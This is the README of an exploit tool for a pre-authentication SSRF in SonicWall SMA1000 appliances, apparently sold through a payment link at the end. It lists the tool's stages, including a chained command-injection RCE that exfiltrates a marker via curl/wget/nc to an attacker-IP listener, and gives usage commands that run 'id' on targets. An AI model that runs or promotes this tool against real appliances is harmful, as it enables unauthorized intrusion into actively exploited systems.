CVE-2026-83548 — SonicWall SMA1000 Work Place pre-auth SSRF

Single-file tool (Python 3, standard library only, zero dependencies) for assessing and exploiting the pre-authentication SSRF in the Work Place interface of SonicWall SMA1000 appliances (6210 / 7210 / 8200v), including an opportunistic chain to unauthenticated RCE via CVE-2026-83549.

The vulnerability


CVE	CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0
Chain	CVE-2026-83549 — OS command injection in the AMC (post-auth), bypassed through the SSRF
Mechanism	The Work Place interface behaves as an unintended forward proxy: the appliance forwards crafted requests to internal resources (including the AMC) using its own privileged network position, with no authentication required at any stage
Affected	SMA1000 ≤ 12.4.3-03453 and ≤ 12.5.0-02835
Fixed	12.4.3-03526 / 12.5.0-02952 (SonicWall notice SNWLID-2026-0016)
Status	Actively exploited in the wild; CISA KEV since 2026-09-02; no workaround — patch only

What the tool does (stages)

[A] Fingerprint + patch-state — read-only GET of the Work Place portal root: Server: SMA/* banner, __extraweb__ assets, version from help links; classification against the fixed builds (PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000).
[B] SSRF vector probing — tests a candidate set of SSRF trigger vectors (including the /cgi-bin/ relay path and the forward-proxy "absolute URI as path" shape) and scores anomalies against a baseline: status-code shift, latency delta, new response headers, body delta. Operator-supplied vectors are accepted via --vector (repeatable).
[C] Out-of-band confirmation — spins up a local capture listener and points the best vector at it. A captured request (method/headers/forwarded User-Agent) proves the appliance forwarded the request — the actual vulnerability, not a timing artifact.
[D] RCE chain (CVE-2026-83549) — opportunistic command-injection attempt against the AMC through the confirmed SSRF relay, with exfil of a marker via curl/wget/nc. Confirmation requires an out-of-band capture.

Quick start

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — the IP from which the appliance must be able to reach your capture listener (127.0.0.1 for local checks; a network-visible address plus port forwarding for remote). Without it the tool guesses a local IP, which often does not work inside containers/VPN setups.

Exit codes

Code	Meaning
0	patched / not affected
1	affected by version, or SSRF confirmed, or affected firmware line with undetermined exact build
2	unauthenticated RCE confirmed (chain succeeded)
3	target is not an SMA1000 Work Place portal
4	connection/other error

Limitations (read this)

Stage D is opportunistic: confirmation requires an out-of-band capture; absence of one is not a refutation.
OOB capture requires that the appliance can reach your listener (same L2 / port forward / VPN). A capture timeout ≠ SSRF refuted.
Version verdict: the appliance typically exposes only its firmware line (e.g. 12.5.0) externally, not the exact hotfix build — the common result is POTENTIALLY_AFFECTED, which requires confirming the build on the appliance itself.
Stages B–D send requests to the target by design; use only against hosts you own or are explicitly permitted to test.

https://satoshidisk.com/pay/CShhL9

CVE-2026-83548